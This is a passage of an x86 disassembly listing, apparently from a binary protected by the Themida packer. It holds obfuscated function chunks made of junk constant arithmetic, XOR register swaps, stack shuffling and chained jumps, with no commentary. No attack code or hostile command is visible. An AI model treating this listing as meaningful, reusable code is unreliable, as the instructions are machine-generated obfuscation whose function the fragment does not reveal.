--------------------------------------------------------------------------- loc_58F6AD: ; CODE XREF: sub_59196D+3Fj sub bl, 0F4h add bl, 3Eh sub esp, 2 mov word ptr [esp-10h+arg_C], cx mov ch, 4Eh jmp loc_59608D ; --------------------------------------------------------------------------- loc_58F6C4: ; CODE XREF: sub_59196D+1CACj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ebp xor ebp, [esp-0Ch+arg_8] jmp loc_593629 ; --------------------------------------------------------------------------- loc_58F6E1: ; CODE XREF: sub_59196D+5AB2j push 64CE5B2Ah pop eax add eax, 0C13B9509h push edx push esi mov esi, eax mov edx, esi pop esi jmp loc_5961D3 ; --------------------------------------------------------------------------- loc_58F6F8: ; CODE XREF: sub_59196D-62F7j not edx inc edx push edx dec [esp+20h+var_22+2] mov edx, [esp+20h+var_22+2] add esp, 4 add edx, 7AB051B8h or ebx, edx mov edx, [esp+1Ch+var_1E+2] jmp loc_5966E0 ; --------------------------------------------------------------------------- loc_58F718: ; CODE XREF: sub_59196D+1DD4j and edi, 2E2E7738h jnp loc_593DC2 xor edi, 0ECF770Eh mov ebp, edi pop edi push esi mov esi, 3C3D7484h add ebp, 78016774h add ebp, esi sub ebp, 78016774h pop esi and ebp, 49AF5C9Eh or ebp, 6F7C3010h sub ebp, 79CE023Dh not ebp xor ebp, 1CF7EDE1h jmp loc_591B79 ; --------------------------------------------------------------------------- loc_58F761: ; CODE XREF: sub_59196D+A2Bj push edx mov edx, 26F24BE2h jmp loc_596273 ; --------------------------------------------------------------------------- loc_58F76C: ; CODE XREF: sub_59196D-24C3j sub ebp, 4 xor ebp, [esp+6+var_8+2] jmp loc_58DD94 ; --------------------------------------------------------------------------- loc_58F77A: ; CODE XREF: sub_59196D+406Bj pop ecx jmp loc_598177 ; --------------------------------------------------------------------------- loc_58F780: ; CODE XREF: Themida_:00591354j ; sub_59196D+198Cj add esi, 4 jmp loc_5974A8 ; --------------------------------------------------------------------------- loc_58F78B: ; CODE XREF: sub_59196D+62AFj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F790: ; CODE XREF: sub_59196D+5C85j mov edi, 143E76C9h or edi, 154269C3h xor edi, 13181A8Bh jmp loc_58F8A6 ; --------------------------------------------------------------------------- loc_58F7A6: ; CODE XREF: sub_59196D+A0Ej ; sub_59196D+2223j mov ebx, edi jmp loc_58E4C9 ; --------------------------------------------------------------------------- loc_58F7AD: ; CODE XREF: sub_59196D-471Bj xor ecx, 17EE954Ah jmp loc_58FC79 ; --------------------------------------------------------------------------- loc_58F7B8: ; CODE XREF: sub_59196D:loc_594CCAj jmp loc_591E7B ; --------------------------------------------------------------------------- loc_58F7BD: ; CODE XREF: sub_59196D+1B11j push 1B715271h pop ebp sub ecx, ebp pop ebp pop esi mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_59001B ; --------------------------------------------------------------------------- loc_58F7D2: ; CODE XREF: sub_59196D-3078j xor eax, 3F8D4EFAh mov edi, eax pop eax dec edi jmp loc_58C8D8 ; --------------------------------------------------------------------------- loc_58F7E0: ; CODE XREF: sub_59196D-121Ej pop edx pop ebx mov dl, al pop eax jmp loc_59650F ; --------------------------------------------------------------------------- loc_58F7EA: ; CODE XREF: sub_59196D+6831j add ebp, 7B961D29h sub ebp, ecx sub ebp, 7B961D29h pop ecx jmp loc_58F361 ; --------------------------------------------------------------------------- loc_58F7FE: ; CODE XREF: sub_59196D+5AC0j push edi push ecx mov ecx, 0B28557Eh or ecx, 2677555h not ecx jmp loc_594575 ; --------------------------------------------------------------------------- loc_58F812: ; CODE XREF: sub_59196D:loc_59094Aj inc edx jmp loc_58B536 ; --------------------------------------------------------------------------- loc_58F818: ; CODE XREF: sub_59196D-491Fj push ecx push 4D5Ch jmp loc_58BC0E ; --------------------------------------------------------------------------- loc_58F823: ; CODE XREF: sub_59196D+5709j sub dh, 71h jmp loc_58ECE7 ; --------------------------------------------------------------------------- loc_58F82B: ; CODE XREF: sub_59196D-2936j add esp, 4 push ebp push esp push [esp-0Ch+arg_8] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-8+arg_4] pop esp add ebp, 4 push 71C3h mov [esp-8+arg_4], edx mov edx, 4 jmp loc_58E203 ; --------------------------------------------------------------------------- loc_58F85E: ; CODE XREF: sub_59196D+3483j mov [esp-8+arg_4], ecx mov ecx, 10000h jmp loc_58E99F ; --------------------------------------------------------------------------- loc_58F86B: ; CODE XREF: sub_59196D-1AA5j and ebx, 1EFB6A80h jmp loc_58C9A1 ; --------------------------------------------------------------------------- loc_58F876: ; CODE XREF: sub_59196D-1590j xchg edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] ror word ptr [esp-8+arg_4], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F886: ; CODE XREF: sub_59196D+25E7j pop ecx xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] pop esp push 300Eh mov [esp-8+arg_4], esi mov esi, 5CDD1A4Fh not esi inc esi jmp loc_592335 ; --------------------------------------------------------------------------- loc_58F8A6: ; CODE XREF: sub_59196D-21CCj xor eax, edi pop edi push ecx mov ecx, 68993001h dec ecx dec ecx sub ecx, 0FAAEEE71h add eax, ecx pop ecx jmp loc_5931FC ; --------------------------------------------------------------------------- loc_58F8BF: ; CODE XREF: sub_59196D+5CBFj pop ebx pop edi push esi jmp $+5 push esp pop esi jmp loc_58D78C ; --------------------------------------------------------------------------- loc_58F8CE: ; CODE XREF: sub_59196D+D4Dj ; sub_59196D+11C1j add edi, ebx pop ebx push 1DCEh mov [esp-6+arg_0+2], eax jmp loc_596A53 ; --------------------------------------------------------------------------- loc_58F8DE: ; CODE XREF: sub_59196D+512j xor edx, 5B7419Eh add edi, edx push [esp-6+arg_0+2] pop edx add esp, 4 push esi jmp loc_58D93A ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F469 loc_58F8F6: ; CODE XREF: sub_58F469+6j mov [esp+4+var_4], esi mov si, 2B75h push si xchg ax, [esp+6+var_6] not ax xchg ax, [esp+6+var_6] jmp loc_58CEBC ; END OF FUNCTION CHUNK FOR sub_58F469 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F90F: ; CODE XREF: sub_59196D-1C8j mov al, 68h mov cl, 99h sub cl, al jmp loc_595E0C ; --------------------------------------------------------------------------- loc_58F91A: ; CODE XREF: sub_59196D-4451j jge loc_58B461 or ebp, 5D4D7C8Eh jno loc_594987 sub ebp, 0FF7D7ECDh sub edx, 53815C19h pop ebp loc_58F939: ; CODE XREF: sub_59196D+20B2j mov al, 0F6h sub bl, al jmp loc_5954C3 ; --------------------------------------------------------------------------- loc_58F942: ; CODE XREF: sub_59196D+819j mov [esp+1Ch+var_1E+2], edx jmp loc_58CB80 ; --------------------------------------------------------------------------- loc_58F94A: ; CODE XREF: sub_59196D-391Ej ; sub_59196D-3ABj xor ecx, 5320112Eh mov edx, ecx pop ecx jmp loc_597882 ; --------------------------------------------------------------------------- loc_58F958: ; CODE XREF: sub_59196D+226Aj shl edx, 1 push dword ptr [edi+24h] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+2Ah+var_2A] pop esp mov [esp+26h+var_26], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+2Ah+var_2A] pop esp mov [esp+26h+var_26], eax push 52607C61h pop eax push edx mov edx, 57FB19FAh shl edx, 7 or edx, 3418713Dh xor edx, 54FB542Eh or edx, 459A76F2h jmp loc_58E29F ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58BCC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F9B8: ; CODE XREF: sub_59196D+5AA1j mov [esp+2Ah+var_2A], esi push 52DE5B45h mov esi, [esp+2Eh+var_2E] add esp, 4 push 97Eh mov [esp+2Eh+var_2E], ebx push edx jmp loc_591E84 ; --------------------------------------------------------------------------- loc_58F9D4: ; CODE XREF: sub_59196D-2AB3j inc esi not esi jmp loc_58F698 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58F9DC: ; CODE XREF: Themida_:00590F4Cj push eax jmp loc_5967BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F9E2: ; CODE XREF: sub_59196D+337j inc edx jle loc_5963EF shr edx, 3 jnp loc_594631 mov dh, bh push ecx loc_58F9F5: ; CODE XREF: Themida_:00591678j add esp, 4 add [esp+42h+var_44+2], eax sub esp, 4 mov [esp+0], eax mov eax, 0E417675h sub [esp+46h+var_44+2], 43BE4D8Fh add [esp+46h+var_44+2], eax add [esp+46h+var_44+2], 43BE4D8Fh mov eax, [esp+0] add esp, 4 add [esp+42h+var_44+2], 7485520h jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FA2C: ; CODE XREF: sub_59196D+3E84j push esi mov esi, 734067FDh jmp loc_58EC26 ; --------------------------------------------------------------------------- loc_58FA37: ; CODE XREF: sub_59196D+6C85j sub eax, 6A6745D2h push 48D0h mov [esp+4Ah+var_4A], ebx push 592Dh mov [esp+4Eh+var_4E], ebp mov ebp, 1 push ebp sub [esp+52h+var_54+2], 2A73127Bh mov ebx, [esp+52h+var_54+2] jmp loc_591624 ; --------------------------------------------------------------------------- loc_58FA61: ; CODE XREF: sub_59196D+4CCAj push [esp+52h+var_54+2] pop edi jmp loc_59335B ; --------------------------------------------------------------------------- loc_58FA6A: ; CODE XREF: sub_59196D-2473j xor ecx, 60D3B2F3h mov edi, ecx jmp loc_58D45F ; --------------------------------------------------------------------------- loc_58FA77: ; CODE XREF: sub_59196D-344Ej ; sub_59196D+33C8j shr dh, 7 jnp loc_590AFA jmp loc_58BB5A ; --------------------------------------------------------------------------- loc_58FA85: ; CODE XREF: sub_59196D-26BEj ; sub_59196D+3466j mov ecx, [esp+4Ch+var_4E+2] add esp, 4 pop [esp+48h+var_4A+2] pop esp sub esp, 4 mov [esp+44h+var_44], ebp jmp loc_59091A ; --------------------------------------------------------------------------- loc_58FA9D: ; CODE XREF: sub_59196D+E57j mov esi, 67725E0Ah jmp loc_593C33 ; --------------------------------------------------------------------------- loc_58FAA7: ; CODE XREF: sub_59196D+1AB4j mov [esp+44h+var_44], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+44h+var_44] mov esp, [esp+44h+var_44] shr eax, 10h xor eax, ecx xor eax, ebp xor ebp, eax jmp loc_598578 ; --------------------------------------------------------------------------- loc_58FAC9: ; CODE XREF: sub_59196D-4D50j ; sub_59196D-17Dj add esp, 4 add ebx, esi pop esi jmp loc_58C3BF ; --------------------------------------------------------------------------- loc_58FAD4: ; CODE XREF: sub_59196D+34A7j push [esp+28h+var_2A+2] pop ebx jmp loc_58BFFB ; --------------------------------------------------------------------------- loc_58FADD: ; CODE XREF: sub_59196D-4F11j mov [esp+32h+var_32], esi push 3EB2839Ah mov esi, [esp+36h+var_36] push ecx mov ecx, esp jmp loc_592A4C ; --------------------------------------------------------------------------- loc_58FAF0: ; CODE XREF: sub_59196D-40AEj pop ebp add ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_595C90 ; --------------------------------------------------------------------------- loc_58FB05: ; CODE XREF: sub_59196D-4AF7j pop ebx push ecx push ebx push 54F77E5Bh pop ebx xor ebx, 675D10C5h jmp loc_594530 ; --------------------------------------------------------------------------- loc_58FB19: ; CODE XREF: sub_59196D-3B49j mov ebp, esi mov esi, [esp+14h+var_16+2] add esp, 4 xor ebp, 60D00AF5h xor eax, ebp pop ebp push small word ptr [eax] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FB32: ; CODE XREF: sub_59196D+3A36j mov dl, 0C7h sub cl, 5Ch add cl, dl jmp loc_58E88F ; --------------------------------------------------------------------------- loc_58FB3E: ; CODE XREF: sub_59196D+62B9j mov [esp+0], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5933D6 ; --------------------------------------------------------------------------- loc_58FB55: ; CODE XREF: sub_59196D:loc_58D13Bj xor edi, 361D27E2h mov ebp, edi pop edi add eax, ebp pop ebp xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] jmp loc_590619 ; --------------------------------------------------------------------------- loc_58FB72: ; CODE XREF: sub_59196D+4EC1j xor ebx, 8F73D8A5h add eax, ebx pop ebx xchg eax, [esp-4+arg_0] pop esp xor ebx, [esp-8+arg_4] xor [esp-8+arg_4], ebx xor ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_592607 ; --------------------------------------------------------------------------- loc_58FB90: ; CODE XREF: sub_59196D+3034j xchg edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov ax, word ptr [esp-8+arg_4] jmp loc_593F68 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58FB9F: ; DATA XREF: Themida_:0058B0D8o mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, esp push esi jmp loc_58CE7B ; --------------------------------------------------------------------------- loc_58FBBD: ; CODE XREF: Themida_:0059168Bj mov eax, 7D4B63F8h jmp loc_58F058 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FBC7: ; CODE XREF: sub_59196D+E2Ej add esi, 166C2F3Bh sub esi, 0E4F754C6h and edi, esi jmp loc_58CAD2 ; --------------------------------------------------------------------------- loc_58FBDA: ; CODE XREF: sub_59196D+158Dj mov edx, 713D299Dh inc edx dec edx sub edx, 713D2999h add esi, edx push [esp-8+arg_4] pop edx jmp loc_58DE88 ; --------------------------------------------------------------------------- loc_58FBF2: ; CODE XREF: sub_59196D+2AD5j add ebp, 18120B05h jg loc_58BCE9 jmp loc_59456A ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push esi jmp loc_5981CE ; --------------------------------------------------------------------------- pop dword ptr [esp] ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FC0C: ; CODE XREF: sub_59196D+3088j sub eax, 5E827D35h sub eax, 5F963ED5h pop edi xchg eax, [esp-0Ch+arg_8] pop esp ror [esp-10h+arg_C], cl pushf jmp loc_595B47 ; --------------------------------------------------------------------------- loc_58FC24: ; CODE XREF: sub_59196D-42A4j xchg ebp, [esp+14h+var_16+2] pop esp or eax, eax jz loc_590E7E push dword ptr [edi+1Ch] jmp loc_5982FD ; --------------------------------------------------------------------------- loc_58FC38: ; CODE XREF: sub_59196D-2E1Cj mov ecx, [esp+6+var_8+2] jmp loc_58CB21 ; --------------------------------------------------------------------------- loc_58FC40: ; CODE XREF: sub_59196D+5DF2j or ebx, 0EE860AAh xor ebx, 5EFAFEFBh add edi, ebx jmp loc_592CC9 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58FC53 proc near ; CODE XREF: sub_590792-50E9j ; FUNCTION CHUNK AT 0058CE11 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058EFD1 SIZE 00000017 BYTES push ebx mov bl, 8 jmp loc_58EFD1 sub_58FC53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FC5B: ; CODE XREF: sub_59196D+148Fj push edi push 4 jmp loc_58FEEC ; --------------------------------------------------------------------------- loc_58FC66: ; CODE XREF: sub_59196D+207j neg ebp xor ebp, 66214767h push ebp xchg edi, [esp+12h+var_12] not edi jmp loc_58F1F3 ; --------------------------------------------------------------------------- loc_58FC79: ; CODE XREF: sub_59196D-21BAj add edx, ecx pop ecx add edi, 6D9711A4h add edi, edx sub edi, 6D9711A4h pop edx sub edi, esi jmp loc_58F2B4 ; --------------------------------------------------------------------------- loc_58FC92: ; CODE XREF: sub_59196D+3F38j xor eax, [esp+0Ch+var_C] jmp loc_5969BB ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590BE0 loc_58FC9A: ; CODE XREF: sub_590BE0+3DAj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] jmp loc_58B643 ; END OF FUNCTION CHUNK FOR sub_590BE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FCB0: ; CODE XREF: sub_59196D+16E6j not ah inc ah add ah, 0F5h jmp loc_58CD53 ; --------------------------------------------------------------------------- loc_58FCBC: ; CODE XREF: sub_59196D-645Dj pop ecx jmp loc_592CD9 ; --------------------------------------------------------------------------- loc_58FCC2: ; CODE XREF: sub_59196D+2CDDj neg dword ptr [esp+0] pop edi sub edi, 587BABDDh jmp loc_58CC0B ; --------------------------------------------------------------------------- loc_58FCD1: ; CODE XREF: sub_59196D+2D36j not ah xor ah, 0BBh mov cl, ah pop eax add bl, 77h add bl, cl sub bl, 77h pop ecx xor bl, 9Eh xor al, bl push [esp-0Ch+arg_8] pop ebx push edi mov edi, esp jmp loc_5985FF ; --------------------------------------------------------------------------- loc_58FCF3: ; CODE XREF: sub_59196D-45E6j xchg eax, [esp+0] pop esp push 62D8h mov [esp+0], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push esi mov esi, esp push ecx mov ecx, 7D7879CFh add ecx, 82878635h add esi, ecx jmp loc_58D03E ; --------------------------------------------------------------------------- loc_58FD24: ; CODE XREF: sub_59196D-2355j add ecx, 4 xchg ecx, [esp-4+arg_0] pop esp add bl, al push ecx mov ch, 0F7h add bl, ch mov ecx, [esp-4+arg_0] push edx jmp loc_593891 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58FD3B: ; CODE XREF: Themida_:0058EA04j push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_59604F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FD4B: ; CODE XREF: sub_59196D-3588j push [esp+30h+var_32+2] pop ecx add esp, 4 add edx, 272E6327h add edx, edi sub edx, 272E6327h pop edi push esi mov esi, 59500B12h jmp loc_594616 ; --------------------------------------------------------------------------- loc_58FD6C: ; CODE XREF: sub_59196D+254Aj add ecx, 4 xchg ecx, [esp+2Ch+var_2E+2] mov esp, [esp+2Ch+var_2E+2] add esp, 4 sub al, cl mov ecx, [esp+28h+var_2A+2] add esp, 4 push ecx mov cl, 4Eh jmp loc_58D18A ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58FD91 proc near ; DATA XREF: Themida_:0058B1ECo var_2 = word ptr -2 ; FUNCTION CHUNK AT 0058D8C4 SIZE 00000005 BYTES mov ax, fs:[edx] push small 3574h mov [esp+2+var_2], ax jmp loc_58D8C4 sub_58FD91 endp ; --------------------------------------------------------------------------- push eax mov eax, esp push ecx mov ecx, 72F644C7h jmp loc_593189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FDB0: ; CODE XREF: sub_59196D+5403j push edi jmp loc_58EEC7 ; --------------------------------------------------------------------------- loc_58FDB6: ; CODE XREF: sub_59196D+45EDj push edx mov edx, 77F67235h push 16Ah mov [esp+34h+var_36+2], esi jmp loc_58F1A2 ; --------------------------------------------------------------------------- loc_58FDC9: ; CODE XREF: sub_59196D+2EA2j and esi, 1646256Ch add esi, 29CC5656h sub eax, 79845782h jmp loc_58F159 ; --------------------------------------------------------------------------- loc_58FDDF: ; CODE XREF: sub_59196D+14C2j add esp, 4 pop [esp+30h+var_32+2] pop esp and word ptr [esp+28h+var_2A+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FDF3: ; CODE XREF: sub_59196D-34CFj mov ebx, 24373962h jmp loc_58D14B ; --------------------------------------------------------------------------- loc_58FDFD: ; CODE XREF: sub_59196D:loc_5924CCj or esi, 2B81280Ch neg esi jnp loc_590253 shl esi, 4 jmp loc_595FF1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov edx, esp jmp loc_58CE22 ; --------------------------------------------------------------------------- loc_58FE1A: ; CODE XREF: Themida_:0058EE68j dec al js loc_597E48 shr al, 7 jz loc_5955D9 neg al jp loc_597E5D or al, 7Ah xor al, 8Ah ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FE37: ; CODE XREF: sub_59196D-62AAj mov esp, [esp+14h+var_16+2] div cx jmp loc_59306F ; --------------------------------------------------------------------------- loc_58FE42: ; CODE XREF: sub_59196D+5FBCj mov [esp+14h+var_16+2], esi mov esi, esp jmp loc_5972B9 ; --------------------------------------------------------------------------- loc_58FE4C: ; CODE XREF: sub_59196D-E14j add eax, ecx pop ecx add eax, edi jmp loc_593871 ; --------------------------------------------------------------------------- loc_58FE56: ; CODE XREF: sub_59196D-1588j mov dx, word ptr [esp+10h+var_12+2] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], ebx push esp pop ebx push esi mov esi, 4 jmp loc_590D4A ; --------------------------------------------------------------------------- loc_58FE7A: ; CODE XREF: sub_59196D-5699j add edi, 9136D10Ch push ecx push 2B0Fh mov [esp+1Ch+var_1E+2], edi jmp loc_594F1A ; --------------------------------------------------------------------------- loc_58FE8E: ; CODE XREF: sub_59196D+5ABj push 3D7507FAh mov esi, [esp+20h+var_22+2] add esp, 4 push ecx mov ecx, 17546BC5h shl ecx, 3 sub ecx, 9F87EC9Bh xor esi, ecx pop ecx sub esi, 266E7673h mov eax, esi mov esi, [esp+1Ch+var_1E+2] add esp, 4 add edi, eax pop eax push ebx mov ebx, 3AB02FFDh jmp loc_58F86B ; --------------------------------------------------------------------------- loc_58FECD: ; CODE XREF: sub_59196D+126Cj sub ebx, 60A843AAh jns loc_58F684 inc ebx jp loc_591575 or ebx, 63230EA2h jle loc_5942C2 loc_58FEEC: ; CODE XREF: sub_59196D-1D0Cj pop edi add esi, edi jmp loc_59543B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5918E7 loc_58FEF4: ; CODE XREF: sub_5918E7+9j add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_596F45 ; END OF FUNCTION CHUNK FOR sub_5918E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FF02: ; CODE XREF: sub_59196D:loc_5903C7j jmp loc_592495 ; --------------------------------------------------------------------------- loc_58FF07: ; CODE XREF: sub_59196D-15FCj add ebx, 0E0259CEBh mov edx, ebx jmp loc_58F522 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58FF14: ; DATA XREF: Themida_:0058B100o mov cx, [esp] push 13Fh mov [esp], eax jmp loc_596A04 ; --------------------------------------------------------------------------- loc_58FF25: ; CODE XREF: Themida_:0058BD11j push ebx mov ebx, 7CE916DCh xor ebx, 1E1B1723h shr ebx, 3 push ebp mov ebp, 1AD20829h or ebx, ebp pop ebp and ebx, 29C02E01h add ebx, 7200F804h add edx, 0E7C27C8h sub edx, ebx sub edx, 0E7C27C8h pop ebx sub edx, eax push ebx mov ebx, 11DC6AF3h sub ebx, 4B5D6510h dec ebx sub ebx, 4BBE05DDh add edx, ebx pop ebx pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58FF86: ; CODE XREF: sub_59196D+652Aj mov eax, [esp+6+var_8+2] add esp, 4 add eax, 4 push edi mov edi, 2 jmp loc_58BDF0 ; --------------------------------------------------------------------------- loc_58FF9C: ; CODE XREF: sub_59196D-18F1j mov edi, esp push ebx push ecx mov ecx, 5E654327h xor ecx, 738E1AF8h mov ebx, ecx pop ecx dec ebx add ebx, 7D457851h dec ebx xor ebx, 0AB30D22Ah add edi, ebx jmp loc_58D8EB ; --------------------------------------------------------------------------- loc_58FFC3: ; CODE XREF: sub_59196D+1D6Cj xor ebp, 4003350Eh or ebp, 5B854044h inc ebp xor ebp, 273E4508h add edx, ebp pop ebp jmp loc_5900E1 ; --------------------------------------------------------------------------- loc_58FFDE: ; CODE XREF: sub_59196D+BA3j push 4DF6h jmp loc_590985 ; --------------------------------------------------------------------------- loc_58FFE8: ; CODE XREF: sub_59196D+6813j add eax, 4 sub esp, 4 mov [esp+0], edx push 4 pop edx sub eax, edx push dword ptr [esp+0] pop edx jmp loc_58DC5C ; --------------------------------------------------------------------------- loc_590007: ; CODE XREF: sub_59196D+4CAEj jg loc_58CA74 xor ecx, 61E02EFDh push esi mov esi, ecx jmp loc_592A86 ; --------------------------------------------------------------------------- loc_59001B: ; CODE XREF: sub_59196D-21A0j and eax, ecx pop ecx or edx, eax shl edx, 1 push ecx sub esp, 4 mov [esp+0Ch+var_C], ebx push ecx jmp loc_590FF1 ; --------------------------------------------------------------------------- loc_590032: ; CODE XREF: sub_59196D+AF9j mov [esp+10h+var_12+2], edx mov edx, esp add edx, 4 sub edx, 4 push edx push [esp+14h+var_12+2] mov edx, [esp+18h+var_1A+2] add esp, 4 pop [esp+14h+var_16+2] jmp loc_595C26 ; --------------------------------------------------------------------------- loc_590056: ; CODE XREF: sub_59196D+629Fj xchg ecx, [esp+10h+var_12+2] pop esp shl byte ptr [esp+0Ch+var_C], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590063: ; CODE XREF: sub_59196D+611Fj sub ecx, 4 xchg ecx, [esp+10h+var_12+2] pop esp jmp loc_592993 ; --------------------------------------------------------------------------- loc_59006F: ; CODE XREF: sub_59196D+46DDj push dword ptr [edi+eax*4] push [esp+10h+var_12+2] pop eax sub esp, 4 mov [esp+14h+var_16+2], edi jmp loc_58FF9C ; --------------------------------------------------------------------------- loc_590081: ; CODE XREF: sub_59196D-F36j ; sub_59196D+48C3j mov cx, word ptr [esp+14h+var_16+2] push ecx sub esp, 4 jmp loc_595675 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C3EF loc_590091: ; CODE XREF: sub_58C3EF+137Aj sub edi, 54024096h inc edi jmp loc_592FAB ; END OF FUNCTION CHUNK FOR sub_58C3EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59009D: ; CODE XREF: sub_59196D-45DFj pop ecx sub al, 28h sub al, 92h add al, 0EDh push 358Ah mov [esp+0], edx push eax jmp loc_58C54F ; --------------------------------------------------------------------------- loc_5900B2: ; CODE XREF: sub_59196D+334Bj push [esp+4Ah+var_4A] jmp loc_593E2C ; --------------------------------------------------------------------------- loc_5900BA: ; CODE XREF: sub_59196D+5515j neg dl jnb loc_596E2A sub dl, 47h jmp loc_5935C0 ; --------------------------------------------------------------------------- loc_5900CA: ; CODE XREF: sub_59196D-DA3j mov word ptr [esp+4Eh+var_4E], ax jmp loc_58BA31 ; --------------------------------------------------------------------------- loc_5900D3: ; CODE XREF: sub_59196D-6024j mov esp, [esp+20h+var_22+2] bts word ptr [esp+20h+var_22+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5900E1: ; CODE XREF: sub_59196D-1994j add ebx, 4AD373C1h add ebx, edx sub ebx, 4AD373C1h jmp loc_596BB1 ; --------------------------------------------------------------------------- loc_5900F4: ; CODE XREF: sub_59196D-5245j add edi, 4 xchg edi, [esp+32h+var_32] pop esp sub esp, 4 mov [esp+32h+var_32], esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+36h+var_32] jmp loc_58C4E5 ; --------------------------------------------------------------------------- loc_590116: ; CODE XREF: sub_59196D-3865j add al, bl jmp loc_58C17C ; --------------------------------------------------------------------------- loc_59011D: ; CODE XREF: sub_59196D-3ADBj add ebx, 4 jmp loc_58E276 ; --------------------------------------------------------------------------- loc_590128: ; CODE XREF: sub_59196D:loc_5956BFj not ah xor ah, 0BBh jmp loc_59025B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D7 loc_590132: ; CODE XREF: sub_58D7D7+3B5Ej shl edi, 4 push edx push ebp mov ebp, 386155h mov edx, ebp pop ebp jmp loc_592AF1 ; END OF FUNCTION CHUNK FOR sub_58D7D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590144: ; CODE XREF: sub_59196D-3D49j dec ebp or ebp, 5EBD6903h xor ebp, 5FBF69BBh jmp loc_592D29 ; --------------------------------------------------------------------------- loc_590156: ; CODE XREF: sub_59196D:loc_594C1Fj not edi add edi, 70AC2BC7h jmp loc_5922B0 ; --------------------------------------------------------------------------- loc_590163: ; CODE XREF: sub_59196D+2323j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590168: ; CODE XREF: sub_59196D-F94j pop esp mov [esp+1Ch+var_1E+2], eax jmp loc_591851 ; --------------------------------------------------------------------------- loc_590171: ; CODE XREF: sub_59196D+A1Aj mov esi, 7C501DC6h xor esi, 4D963EFCh jns loc_59185F jmp loc_592196 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- xchg ebx, [esp] pop esp push ebp jmp loc_591A59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590191: ; CODE XREF: sub_59196D-36BBj or ebx, 4036301Ah xor ebx, 458148F1h jmp loc_59853D ; --------------------------------------------------------------------------- loc_5901A2: ; CODE XREF: sub_59196D-5D99j 